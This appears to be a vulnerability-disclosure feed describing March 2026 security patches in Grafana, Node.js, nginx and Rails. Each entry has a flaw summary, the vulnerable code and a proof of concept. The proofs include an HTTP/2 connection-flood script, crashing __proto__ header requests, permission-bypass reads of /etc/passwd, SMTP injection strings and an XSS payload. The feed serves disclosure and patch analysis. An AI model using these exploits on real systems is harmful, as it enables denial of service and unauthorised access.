“Exposing patches before CVEs since 2025”
Saturday, June 27, 2026
Mar 27, 2026, 08:15 AM — grafana/grafana
Commit: c23a34af8fe64d8e24bbceef634d4493a8de8f85
Author: Ryan McKinley
When a user creates a Kubernetes resource containing inline secure values (raw secrets) via kubectl apply, the kubectl client automatically stores the full object including the raw secret value in the `kubectl.kubernetes.io/last-applied-configuration` annotation. This annotation is persisted in the API server and can be read back by anyone with read access to the resource, effectively leaking the raw secret value. The patch clears this annotation when a raw secret is detected in the inline secure values section, preventing the secret from being stored in plaintext in the annotation.
n, err := store.CreateInline(ctx, v.ref, val.Create, val.Description)
if err != nil {
return err
}
v.createdSecureValues = append(v.createdSecureValues, n)
v.hasChanged = true
secure[k] = common.InlineSecureValue{Name: n}
continue
1. User runs: kubectl apply -f datasource.yaml where datasource.yaml contains a secure value like {"secure": {"password": {"create": "SuperSecretPassword123"}}}
2. kubectl automatically adds annotation: kubectl.kubernetes.io/last-applied-configuration={..."secure":{"password":{"create":"SuperSecretPassword123"}}...}
3. Any user with read access to the resource can retrieve the raw secret: kubectl get datasource myds -o jsonpath='{.metadata.annotations.kubectl\.kubernetes\.io/last-applied-configuration}'
4. The raw secret value 'SuperSecretPassword123' is returned in plaintext, bypassing the entire secure value protection mechanism.
Mar 26, 2026, 10:18 PM — nodejs/node
Commit: 53bcd114b10021c4a883b08df4d3c2ff6946b430
Author: Matteo Collina
The Reset() method in Node.js's zlib binding did not check the write_in_progress_ flag before resetting the compression stream. This allowed calling reset() while an async write was being processed by a worker thread, causing the internal zlib/brotli state to be freed while still in use, resulting in a use-after-free condition that could lead to memory corruption or process crash. The fix adds a guard that throws an error if a write is in progress, consistent with how Close() and Write() already behave.
AllocScope alloc_scope(wrap); const CompressionError err = wrap->context()->ResetStream(); if (err.IsError())
const { createDeflate } = require('zlib');
const stream = createDeflate();
const input = Buffer.alloc(1024 * 1024, 0x41); // large buffer to ensure async
stream.write(input);
// Immediately reset while write is in progress in thread pool:
stream._handle.reset(); // triggers use-after-free in worker thread
Mar 26, 2026, 08:40 AM — grafana/grafana
Commit: bafbc26b35d94dc07918a908638194abfdd94d8a
Author: Gabriel MABILLE
Before this patch, the Kubernetes-style IAM API endpoint `/apis/iam.grafana.app/v0alpha1/namespaces/{ns}/users/{name}/teams` used the generic `ResourceAuthorizer` which only checked `get` permission on the `users` resource itself, but did not properly enforce the `teams` subresource authorization. According to the commit, the RBAC service would ignore the 'teams' subresource check, meaning any user with generic `users:read` permission could potentially access team membership data for users they shouldn't be able to see. The patch adds a dedicated `UserAuthorizer` that explicitly checks `get` permission on the parent user when the `teams` subresource is requested.
resourceAuthorizer[iamv0.UserResourceInfo.GetName()] = authorizer
An authenticated user with `users:read` permission scoped to a subset of users (e.g., only their own user) could send: GET /apis/iam.grafana.app/v0alpha1/namespaces/org-1/users/another-user-id/teams - Before the patch, the ResourceAuthorizer would check permission on the `users` resource without properly handling the `teams` subresource distinction, potentially allowing access to team memberships of users outside the caller's permission scope. After the patch, a proper `get` check on the specific parent user is enforced before granting access to their teams.
Mar 25, 2026, 03:52 PM — grafana/grafana
Commit: c30a9e2003af41bc11b7286f1e7800ee30523b81
Author: Yuri Tseretyan
The `/api/alertmanager/grafana/api/v2/status` endpoint was protected by the `alert.notifications:read` permission, which is granted to Viewers and Editors by default. This allowed any authenticated user (including low-privileged Viewers) to access Alertmanager system status information including routing configuration, receivers configuration, and other sensitive system details. The patch replaces this with a new dedicated `alert.notifications.system-status:read` permission that is only granted to Admin users.
case http.MethodGet + "/api/alertmanager/grafana/api/v2/status": eval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)
curl -u viewer:viewer http://<grafana-host>/api/alertmanager/grafana/api/v2/status # Before the patch, this returns HTTP 200 with full Alertmanager status including routing configuration and receiver details # After the patch, returns HTTP 403 Forbidden for Viewer/Editor users
Mar 25, 2026, 02:31 PM — grafana/grafana
Commit: 28958564dd2adf25bf8361acabbba4967f5e4986
Author: Gonzalo Trigueros Manzanas
Before the patch, the `validateWriteAccess` function did not handle `JobActionFixFolderMetadata` in its switch statement, meaning it fell through to the `default` case which applies no ref-based restriction. This allowed users to trigger a fix-folder-metadata job that would write directly to the default/main branch even when the repository was configured with only a 'branch' workflow (meaning the default branch should be read-only). The patch adds the missing case to extract the target ref from `FixFolderMetadata.Ref` and apply proper write permission checks.
case provisioning.JobActionPush:
if spec.Push != nil {
targetRef = spec.Push.Branch
}
// Missing case for JobActionFixFolderMetadata - falls through to default
case provisioning.JobActionMigrate:
POST /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/my-read-only-repo/jobs
Content-Type: application/json
{"action": "fix-folder-metadata"}
This request would bypass the branch-workflow restriction and push _folder.json files directly to the protected main branch, even though the repo is configured with only the 'branch' workflow (no direct writes to default branch allowed).
Mar 24, 2026, 10:50 PM — nodejs/node
📈 Patch landed 5 days 22 hours 41 minutes before CVE published
Commit: 0d7e4b1d4b0220b68bc2c5c2b973deff1664824b
Author: Joyee Cheung
V8's array index hash values for numeric strings were predictable because they directly encoded the integer value and string length without randomization. Consecutive numeric string keys (e.g., '0', '1', '2', ...) would have consecutive hash values, allowing an attacker to craft inputs that cause O(n^2) hash table probe collisions. This patch adds seeded scrambling of the 24-bit array-index value in Name's raw_hash_field using a 3-round xorshift-multiply scheme with random secrets derived from rapidhash, preventing an attacker from predicting hash distributions. This is tracked as CVE-2026-21717.
// Previously, array index hashes were simply: // MakeArrayIndexHash(value, length) encodes value directly // Name::ArrayIndexValueBits::decode(raw_hash_field_) to recover // Consecutive keys '0','1','2'... had consecutive, predictable hash values
// Node.js DoS via hash collision attack
const obj = {};
const N = 100000;
const start = Date.now();
// Insert consecutive numeric string keys - before the patch, these have
// consecutive hash values causing O(n^2) worst-case probing behavior
for (let i = 0; i < N; i++) {
obj[String(i)] = i;
}
console.log('Time:', Date.now() - start, 'ms');
// An attacker serving a JSON payload with sequential numeric keys to a
// Node.js server causes excessive CPU usage. With predictable hashes,
// crafted inputs can force worst-case hash table behavior, leading to DoS.
Mar 24, 2026, 10:47 PM — nodejs/node
📈 Patch landed 5 days 22 hours 43 minutes before CVE published
Commit: 82615369d4d9aab2d841d4d790263d2c6336f2e4
Author: RafaelGSS
A malicious HTTP/2 client could send a WINDOW_UPDATE frame on stream 0 (connection level) with an increment that pushes the flow-control window past 2^31-1. nghttp2 internally responds with GOAWAY(FLOW_CONTROL_ERROR) but Node.js's OnInvalidFrame callback did not handle NGHTTP2_ERR_FLOW_CONTROL, so the Http2Session was never destroyed, causing a memory leak. An attacker can exploit this to exhaust server memory by repeatedly opening connections and sending the malicious frame, enabling denial of service.
if (nghttp2_is_fatal(lib_error_code) ||
lib_error_code == NGHTTP2_ERR_STREAM_CLOSED ||
lib_error_code == NGHTTP2_ERR_PROTO) {
// Connect via raw TCP to a Node.js HTTP/2 server and send:
// 1. HTTP/2 client preface: 'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
// 2. Empty SETTINGS frame
// 3. After receiving server SETTINGS, send SETTINGS ACK
// 4. Send WINDOW_UPDATE on stream 0 with increment 0x7FFFFFFF (2^31-1)
// Default window is 65535, so 65535+2147483647 > 2^31-1 triggers NGHTTP2_ERR_FLOW_CONTROL
// The server sends GOAWAY but the Http2Session is never destroyed -> memory leak
// Repeat thousands of times to exhaust server memory.
const net = require('net');
for (let i = 0; i < 10000; i++) {
const conn = net.connect({ port: 8443 });
conn.write('PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n');
const settings = Buffer.alloc(9); settings[3] = 0x04; conn.write(settings);
setTimeout(() => {
const ack = Buffer.alloc(9); ack[3] = 0x04; ack[4] = 0x01; conn.write(ack);
const wu = Buffer.alloc(13);
wu.writeUIntBE(4,0,3); wu[3]=0x08; wu[4]=0x00;
wu.writeUIntBE(0,5,4); wu.writeUIntBE(0x7FFFFFFF,9,4);
conn.write(wu);
}, 100);
}
Mar 24, 2026, 10:47 PM — nodejs/node
📈 Patch landed 5 days 22 hours 43 minutes before CVE published
Commit: b36d5a3d94dc3a1ddbcc35d51ce19d1fa61e8e47
Author: Filip Skokan
The Web Cryptography API's HMAC and KMAC `verify` operations used the non-constant-time `memcmp` function to compare the computed MAC against the provided signature. This allowed timing-based side-channel attacks where an attacker could measure response times to infer byte-by-byte information about the expected MAC value. The patch replaces `memcmp` with `CRYPTO_memcmp`, which executes in constant time regardless of where the comparison fails.
out->size() > 0 && out->size() == params.signature.size() &&
memcmp(out->data(), params.signature.data(), out->size()) == 0
// Exploit: Timing attack against SubtleCrypto.verify() for HMAC
// An attacker who can make many verify calls and measure timing can recover the HMAC value
async function timingAttack() {
const key = await crypto.subtle.importKey(
'raw', new TextEncoder().encode('secret-key'),
{ name: 'HMAC', hash: 'SHA-256' }, false, ['sign', 'verify']
);
const data = new TextEncoder().encode('message');
// Attacker tries forged signatures byte by byte
// memcmp returns early on first differing byte, leaking timing info
// A signature where first byte matches will take slightly longer than one where first byte differs
const forgedSig = new Uint8Array(32); // all zeros
const ITERATIONS = 100000;
const start = performance.now();
for (let i = 0; i < ITERATIONS; i++) {
await crypto.subtle.verify('HMAC', key, forgedSig, data);
}
const elapsed = performance.now() - start;
// By varying forgedSig[0] from 0-255 and measuring timing, attacker
// can determine correct first byte (takes measurably longer when correct)
// Repeat for each subsequent byte to recover full HMAC
console.log('Timing:', elapsed);
}
Mar 24, 2026, 10:47 PM — nodejs/node
📈 Patch landed 5 days 22 hours 43 minutes before CVE published
Commit: ef5929b5aaae7a14e839e2123f54580d18702df0
Author: Matteo Collina
When `headersDistinct` or `trailersDistinct` was accessed on an IncomingMessage, the destination object was initialized as a plain `{}` which inherits from `Object.prototype`. If a request included a `__proto__` header, `dst\["__proto__"\]` would resolve to `Object.prototype` (a truthy object rather than undefined), causing `_addHeaderLineDistinct` to call `.push()` on `Object.prototype` instead of an array, throwing an uncaught TypeError that crashes the Node.js process. The fix uses `{ __proto__: null }` to create a null-prototype object, preventing prototype chain lookups.
if (!this[kHeadersDistinct]) {
this[kHeadersDistinct] = {};
const src = this.rawHeaders;
const dst = this[kHeadersDistinct];
Send the following raw HTTP request to any Node.js HTTP server that accesses req.headersDistinct:
```
GET / HTTP/1.1\r\n
Host: localhost\r\n
__proto__: test\r\n
Connection: close\r\n
\r\n
```
Or programmatically:
```javascript
const net = require('net');
const client = net.connect(PORT, () => {
client.write('GET / HTTP/1.1\r\nHost: localhost\r\n__proto__: test\r\nConnection: close\r\n\r\n');
});
// Server crashes with: TypeError: dest[key].push is not a function
// because dest["__proto__"] resolves to Object.prototype (truthy),
// so push() is called on Object.prototype instead of an array.
```
Mar 24, 2026, 10:47 PM — nodejs/node
📈 Patch landed 5 days 22 hours 44 minutes before CVE published
Commit: 59c86b1d9377fae95b0523fc16537161dd685f41
Author: RafaelGSS
Node.js's permission model (--permission flag) failed to enforce network access controls for Unix Domain Socket (UDS) connections and server listeners via pipe_wrap.cc. Before the patch, calling net.createServer().listen('/tmp/sock') or net.connect({path:'/tmp/sock'}) would succeed even when --allow-net was not granted, bypassing the intended permission restrictions. The patch adds THROW_IF_INSUFFICIENT_PERMISSIONS checks to PipeWrap::Bind and PipeWrap::Listen to enforce the kNet permission scope.
void PipeWrap::Bind(const FunctionCallbackInfo<Value>& args) {
PipeWrap* wrap;
ASSIGN_OR_RETURN_UNWRAP(&wrap, args.This());
node::Utf8Value name(args.GetIsolate(), args[0]);
int err =
uv_pipe_bind2(&wrap->handle_, *name, name.length(), UV_PIPE_NO_TRUNCATE);
// Run with: node --permission --allow-fs-read=* exploit.js
// Before patch: server binds successfully despite no --allow-net
const net = require('net');
net.createServer().listen('/tmp/bypass.sock', () => {
console.log('Permission bypass! Server listening on UDS without --allow-net');
});
// Expected after patch: throws ERR_ACCESS_DENIED with permission: 'Net'
Mar 24, 2026, 10:46 PM — nodejs/node
Patch landed 63 days 1 hour 15 minutes after CVE published
Commit: 2e2abc6e895745cc5d04dd203afb8e0083fb6835
Author: Matteo Collina
Before the patch, if an SNICallback function threw a synchronous exception during TLS handshake processing in loadSNI(), the exception would propagate as an uncaught exception, crashing the Node.js process. The patch wraps the owner._SNICallback() invocation in a try/catch block, routing any thrown exceptions through owner.destroy() instead. A remote unauthenticated attacker can crash any Node.js TLS server by sending a TLS ClientHello with a crafted server_name value that causes the SNICallback to throw.
owner._SNICallback(servername, (err, context) => {
if (once)
return owner.destroy(new ERR_MULTIPLE_CALLBACK());
once = true;
if (err)
return owner.destroy(err);
// Attacker code: connect to a Node.js TLS server with a crafted servername
// Server setup (victim):
const tls = require('tls');
const server = tls.createServer({
key: fs.readFileSync('server-key.pem'),
cert: fs.readFileSync('server-cert.pem'),
SNICallback: (servername, cb) => {
// Any throw here crashes the server process before the patch
if (!knownHosts[servername]) throw new Error('Unknown host');
cb(null, getContext(servername));
}
});
server.listen(443);
// Attacker: send TLS ClientHello with servername='evil.attacker.com'
// This triggers SNICallback to throw, causing uncaught exception and process crash
const client = tls.connect({ host: 'victim.com', port: 443, servername: 'evil.attacker.com', rejectUnauthorized: false });
client.on('error', () => {});
// Result: Server process crashes with uncaught Error: Unknown host
Mar 24, 2026, 10:46 PM — nodejs/node
📈 Patch landed 5 days 19 hours 44 minutes before CVE published
Commit: dabb2f5f0c0367bf8e0e116b311b9308111ab4c7
Author: RafaelGSS
Before the patch, `url.format()` called `CHECK(out)` after attempting to re-parse a URL string with `ada::parse<ada::url>`. If the URL (originally parsed by `ada::url_aggregator`) could not be re-parsed by `ada::url` (e.g., special scheme URLs with opaque paths like `ws:xn-ȫ`), the CHECK macro would trigger an abort/crash of the Node.js process. The patch replaces the hard crash with a graceful fallback that returns the original href unmodified.
auto out = ada::parse<ada::url>(href.ToStringView()); CHECK(out);
// Run in Node.js - crashes the process before the patch
const url = require('node:url');
const u = new URL('ws:xn-\u022B');
url.format(u, { fragment: false, unicode: false, auth: false, search: false });
// Before patch: process aborts with CHECK failure
// After patch: returns the original href string without crashing
Mar 24, 2026, 10:46 PM — nodejs/node
📈 Patch landed 5 days 22 hours 44 minutes before CVE published
Commit: 3a04e0ff25a8c0090b699a606e237e7f52693583
Author: RafaelGSS
The Node.js Permission Model (introduced with --experimental-permission flag) did not enforce filesystem read/write permission checks on several `fs/promises` API functions including `lstat`, `fchmod`, and `fchown`. This allowed an attacker to bypass the permission model by using the promise-based filesystem API instead of the callback/sync APIs, which did have proper permission checks. The patch adds the missing permission checks to `lstat` (read permission) and disables `fchmod`/`fchown` entirely when the Permission Model is enabled.
async function lstat(path, options = { bigint: false }) {
const result = await PromisePrototypeThen(
binding.lstat(getValidatedPath(path), options.bigint, kUsePromises),
undefined,
handleErrorFromBinding,
);
// Run Node.js with Permission Model enabled, blocking access to /etc/passwd:
// node --experimental-permission --allow-fs-read=/tmp test.js
const { lstat } = require('node:fs/promises');
// Before patch: this succeeds and reveals file metadata despite being blocked
// After patch: throws ERR_ACCESS_DENIED
async function exploit() {
try {
const stats = await lstat('/etc/passwd');
console.log('BYPASS SUCCESS - got stats:', stats); // succeeds before patch
} catch (e) {
console.log('Blocked:', e.code);
}
}
exploit();
// Similarly for fchmod to change file permissions on a blocked file:
// const fh = await open('/etc/somefile', 'r'); // if read is allowed
// await fh.chmod(0o777); // Before patch: succeeds, bypassing write permission check
Mar 24, 2026, 10:46 PM — nodejs/node
📈 Patch landed 5 days 22 hours 44 minutes before CVE published
Commit: e4f3c20be260c32d5e5de5ccfb7d9cd3e82ce83e
Author: RafaelGSS
The Node.js Permission Model's `--allow-fs-read` restriction could be bypassed by using `fs.realpath.native()` instead of `fs.realpath()`. Before the patch, `RealPath` in node_file.cc lacked permission checks for both the async and sync code paths, allowing an attacker to read/resolve file paths that should be blocked by the permission model. The patch adds `ASYNC_THROW_IF_INSUFFICIENT_PERMISSIONS` and `THROW_IF_INSUFFICIENT_PERMISSIONS` checks to enforce the `kFileSystemRead` permission scope.
if (argc > 2) { // realpath(path, encoding, req)
FSReqBase* req_wrap_async = GetReqWrap(args, 2);
CHECK_NOT_NULL(req_wrap_async);
FS_ASYNC_TRACE_BEGIN1(
UV_FS_REALPATH, req_wrap_async, "path", TRACE_STR_COPY(*path))
// Run Node.js with permission model restricting /etc/passwd:
// node --experimental-permission --allow-fs-read=/tmp script.js
// script.js:
const fs = require('fs');
// fs.readFile('/etc/passwd', ...) would throw ERR_ACCESS_DENIED
// But before patch, this would succeed and resolve the real path:
fs.realpath.native('/etc/passwd', (err, resolvedPath) => {
console.log('Bypassed permission model, resolved path:', resolvedPath);
});
Mar 24, 2026, 03:28 PM — nginx/nginx
📈 Patch landed 2 minutes before CVE published
Commit: 18711f7754401dd4ce26faa721e0f0bce41d4c1e
Author: Sergey Kandaurov
In the nginx stream SSL module, the OCSP (Online Certificate Status Protocol) certificate revocation check was not being performed during client certificate validation. The code would verify the certificate chain but skip the OCSP status check, allowing clients with revoked certificates to successfully authenticate. The patch adds the missing `ngx_ssl_ocsp_get_status()` call that properly checks and enforces OCSP certificate revocation status.
X509_free(cert);
}
}
return NGX_OK;
1. Configure nginx stream with ssl_verify_client on and ssl_ocsp on 2. Obtain a valid client certificate from a CA that supports OCSP 3. Have the CA revoke the certificate (OCSP status becomes 'revoked') 4. Connect to nginx stream using the revoked certificate: openssl s_client -connect nginx-server:port -cert revoked-client.crt -key client.key 5. BEFORE patch: Connection succeeds despite revoked certificate (OCSP check was skipped) 6. AFTER patch: Connection is rejected with 'client SSL certificate verify error'
Mar 24, 2026, 02:46 PM — nginx/nginx
Commit: 9bc13718fe8a59a4538805516be7e141070c22d6
Author: Sergey Kandaurov
When authenticating with CRAM-MD5 or APOP methods, the code set `s->passwd.data = NULL` but did not reset `s->passwd.len`. On a subsequent authentication attempt, the non-zero length would cause the code to attempt to use the null pointer as if it pointed to valid password data, resulting in a null pointer dereference and worker process crash. The fix uses `ngx_str_null(&s->passwd)` which correctly zeroes both the data pointer and the length.
s->passwd.data = NULL;
1. Configure nginx mail proxy with CRAM-MD5 auth method and auth_http backend. 2. Connect to the mail service and authenticate using CRAM-MD5 (first attempt succeeds or fails normally). 3. On the same connection or a new connection handled by the same worker, attempt a second CRAM-MD5 authentication. 4. The worker process crashes with a null pointer dereference because s->passwd.len is non-zero but s->passwd.data is NULL, causing nginx to attempt to read from address 0x0 when constructing the next auth HTTP request.
Mar 24, 2026, 02:46 PM — nginx/nginx
📈 Patch landed 44 minutes before CVE published
Commit: 6f3145006b41a4ec464eed4093553a335d35e8ac
Author: Roman Arutyunyan
Before the patch, when nginx's mail module resolved a client's IP address to a hostname, it used the resolved hostname without validation in auth_http requests and SMTP proxy communications. An attacker controlling DNS responses could return a hostname containing newlines, spaces, or other special characters, enabling injection of arbitrary headers into auth_http requests or arbitrary SMTP commands into the proxied SMTP session. The patch validates that the resolved hostname only contains RFC 1034-compliant characters (letters, digits, hyphens, dots).
s->host.data = ngx_pstrdup(c->pool, &ctx->name); // ctx->name is used directly without validation after reverse DNS resolution
An attacker controls DNS for their IP (e.g., 1.2.3.4). They configure the PTR record to return: 'evil.com\r\nX-Injected-Header: malicious' or 'evil.com\r\nMAIL FROM:<[email protected]>\r\nRCPT TO:<[email protected]>'. When nginx resolves the client IP and gets this crafted hostname, it is used verbatim in auth_http HTTP request headers (e.g., as Client-Host) or in SMTP proxy greeting, allowing HTTP header injection or SMTP command injection.
Mar 24, 2026, 02:45 PM — nginx/nginx
📈 Patch landed 45 minutes before CVE published
Commit: 9739e755b8dddba82e65ca2a08d079f4c9826b75
Author: Roman Arutyunyan
When nginx WebDAV module (ngx_http_dav_module) processed COPY or MOVE requests with an alias directive configured, supplying a Destination header with a URI shorter than the alias prefix caused an integer underflow in ngx_http_map_uri_to_path(). The underflow resulted in a heap buffer overwrite, which could allow an attacker to manipulate source or destination file paths to be outside the configured location root (path traversal via memory corruption). The patch adds a validation check that rejects Destination URIs shorter than the alias length before the vulnerable path mapping occurs.
/* In ngx_http_dav_copy_move_handler(), before calling ngx_http_map_uri_to_path() with duri (destination URI), there was no check that duri.len >= clcf->alias. When alias is set and duri.len < clcf->alias, the subtraction (duri.len - clcf->alias) underflows as a size_t (unsigned), producing a huge length value passed to ngx_http_map_uri_to_path(). */
nginx.conf:
location /files/ {
alias /var/www/data/;
dav_methods COPY MOVE;
}
Exploit request:
COPY /files/a.txt HTTP/1.1
Host: victim.example.com
Destination: http://victim.example.com/x
Depth: 0
Here the Destination URI path '/x' has length 2, which is less than the alias
prefix length for '/files/' (7). This triggers the integer underflow in
ngx_http_map_uri_to_path() when computing the path length, resulting in a heap
buffer overwrite that can change the resolved destination path to be outside
/var/www/data/, potentially writing to arbitrary filesystem locations.
Mar 24, 2026, 02:44 PM — nginx/nginx
Commit: 3568812cf98dfd7661cd7516ecf9b398c134ab3c
Author: Roman Arutyunyan
On 32-bit platforms, multiplying a uint32_t `entries` value by the size of a struct (also size_t/32-bit) could overflow before being compared to the uint64_t `atom_data_size`. This allowed an attacker to craft a malicious MP4 file with a large entries count that, after overflow, appeared to pass the size validation check, causing nginx to process entries beyond the allocated buffer boundaries with out-of-bounds reads and writes. The fix casts `entries` to uint64_t before multiplication to prevent the overflow.
if (ngx_mp4_atom_data_size(ngx_mp4_stts_atom_t)
+ entries * sizeof(ngx_mp4_stts_entry_t) > atom_data_size)
Craft a malicious MP4 file where an stts atom has entries=0x20000000 (536870912) and atom_data_size=0x100 (small). On a 32-bit platform: entries * sizeof(ngx_mp4_stts_entry_t) = 0x20000000 * 8 = 0x100000000 which overflows to 0x00000000. Adding ngx_mp4_atom_data_size (e.g., 12) gives 12, which is less than atom_data_size=0x100, so validation passes. Nginx then processes 536 million non-existent entries beyond the allocated buffer, causing heap out-of-bounds access. Serve this file via nginx's mp4 module: GET /malicious.mp4?start=0
Mar 24, 2026, 02:12 PM — nginx/nginx
Commit: 7725c372c2fe11ff908b1d6138be219ad694c42f
Author: Roman Arutyunyan
The nginx mp4 module had off-by-one errors in bounds checking for stco and co64 atoms. When `trak->start_chunk` equaled `trak->chunks` (i.e., pointing exactly past the end of the chunks array), the old check `trak->start_chunk > trak->chunks` would pass, allowing out-of-bounds memory access. Similarly, empty stsz sample arrays could be processed leading to buffer overread/overwrite. The patch changes `>` to `>=` to properly reject these boundary cases.
if (trak->start_chunk > trak->chunks) {
ngx_log_error(NGX_LOG_ERR, mp4->file.log, 0,
"start time is out mp4 stco chunks in \"%s\"",
mp4->file.name.data);
return NGX_ERROR;
}
Craft an MP4 file where the stco/co64 atom contains exactly N chunk entries, but the computed start_chunk equals N (pointing one past the end). With the old check (start_chunk > chunks), when start_chunk == chunks the check passes and subsequent code reads/writes memory at chunks[N], one element past the allocated buffer. A crafted MP4 with a seek start time that maps to start_chunk == chunks (e.g., start time after all samples) triggers: GET /video.mp4?start=<time_after_last_sample> - causing out-of-bounds memory read/write in the chunk offset update loop.
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 12 minutes after CVE published
Commit: 5b66fcf531bba92e4a91ae4aac219099d28177d2
Author: Gannon McGibbon
Before the patch, an attacker could send an HTTP Range request with an arbitrarily large byte range (e.g., 'bytes=0-' on a large file) and the server would attempt to download and buffer the entire requested range into memory before sending it. This could exhaust server memory and cause a denial of service. The patch adds a `ranges_valid?` check that rejects any byte ranges whose total size exceeds 100MB (configurable via `ActiveStorage.streaming_chunk_max_size`).
return head(:range_not_satisfiable) if ranges.blank? || ranges.all?(&:blank?)
Send an HTTP GET request with a Range header covering the entire file or a very large portion of a large blob: GET /rails/active_storage/blobs/proxy/:signed_id/:filename HTTP/1.1 Host: target.example.com Range: bytes=0- With a multi-gigabyte file stored, this would cause the server to call blob.download_chunk(0..file_size) and load gigabytes into memory. Multiple concurrent such requests would exhaust available RAM and crash the server process. A multi-range attack is also possible: Range: bytes=0-999999999,1000000000-1999999999
Mar 23, 2026, 10:21 PM — rails/rails
📈 Patch landed 1 day 22 hours 43 minutes before CVE published
Commit: bb78f8cd636db4a0e8a732e9c25f2f9f58b2d058
Author: Jean Boussier
The ActiveStorage streaming controller allowed multi-range HTTP byte range requests without limiting the number of ranges. An attacker could send a request with thousands of byte ranges, causing the server to download and assemble many chunks from storage in memory, exhausting server resources and potentially causing a DoS. The patch adds a configurable `streaming_max_ranges` limit (defaulting to 1) that rejects requests with more ranges than allowed.
ranges = Rack::Utils.get_byte_ranges(range_header, blob.byte_size) return head(:range_not_satisfiable) unless ranges_valid?(ranges) if ranges.length == 1
Send a request with thousands of byte ranges to exhaust server memory/connections: curl -H 'Range: bytes=0-1,2-3,4-5,6-7,8-9,10-11,...(repeat 10000 times)' https://example.com/rails/active_storage/blobs/proxy/SIGNED_ID/file.bin Each range causes a separate blob.download_chunk() call and all data is accumulated in memory (data << chunk), so 10000 ranges against a large file would download massive amounts of data and hold it all in RAM, potentially crashing the Rails server.
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 6 minutes after CVE published
Commit: 64fabbd33c6e4886a6520a357434e0a8935beb5d
Author: Jean Boussier
BigDecimal in Ruby supports scientific notation (e.g., '9e99999999'), allowing an attacker to pass a short string that causes BigDecimal to allocate an enormous amount of memory when converting the number. Before the patch, any user-controlled string passed to number helper functions (like number_to_currency or number_to_percentage) could trigger this via BigDecimal(number). The patch rejects strings containing 'e' or 'd' (scientific notation indicators) before attempting BigDecimal conversion.
when String BigDecimal(number, exception: false)
# Sending a tiny string that causes massive memory allocation:
require 'active_support/number_helper'
include ActiveSupport::NumberHelper
# This causes BigDecimal to allocate gigabytes of memory and hang
number_to_currency('9e99999999') # Before patch: allocates enormous BigDecimal
number_to_currency('1e1000000') # Similarly, causes DoS via memory exhaustion
# In a Rails app, an attacker can send: POST /payments?amount=9e99999999
# which would cause the server process to hang/crash when formatting the number
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 27 minutes after CVE published
Commit: 0dbaa44c5026eabb7ed2eedadefcb2af9033cb94
Author: Jean Boussier
Before the patch, users could set protected metadata keys (analyzed, identified, composed) during a direct upload by including them in the metadata parameter. These keys control internal Active Storage state (e.g., whether a blob has been analyzed or identified), so a malicious user could set 'analyzed: true' or 'identified: true' to bypass file analysis/identification steps that might enforce security policies. The patch filters out these protected keys from user-supplied metadata in create_before_direct_upload!.
def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil) create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name end
POST /rails/active_storage/direct_uploads
Content-Type: application/json
{"blob":{"filename":"malicious.exe","byte_size":1000,"checksum":"abc123","content_type":"application/octet-stream","metadata":{"analyzed":true,"identified":true}}}
This causes the blob to be marked as already analyzed and identified, bypassing any content analysis or identification checks that could enforce content type policies or detect malicious files.
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 27 minutes after CVE published
Commit: 6b313e2caaf7a704bb751b5a4a83fb912dffb9c7
Author: Jean Boussier
The `SafeBuffer#%` method failed to preserve the unsafe status of a SafeBuffer when used for string formatting. Before the patch, formatting an unsafe SafeBuffer (one that had been marked unsafe after mutation via gsub!, etc.) would return a new SafeBuffer that was incorrectly marked as html_safe?, allowing unescaped user input to be rendered as raw HTML. The fix propagates the `@html_unsafe` flag to the result of `%` formatting.
def %(args)
case args
when Hash
escaped_args = args.transform_values { |arg| explicit_html_escape_interpolated_argument(arg) }
else
escaped_args = Array(args).map { |arg| explicit_html_escape_interpolated_argument(arg) }
end
self.class.new(super(escaped_args))
end
# Before the patch:
unsafe_buffer = ActiveSupport::SafeBuffer.new
unsafe_buffer.gsub!('', '<%{name}>') # marks buffer as unsafe
puts unsafe_buffer.html_safe? # => false (correct)
result = unsafe_buffer % { name: '<script>alert(1)</script>' }
puts result.html_safe? # => true (BUG! should be false)
# result contains unescaped '<script>alert(1)</script>' and is treated as safe
# When rendered in a Rails view, this would output raw script tags without escaping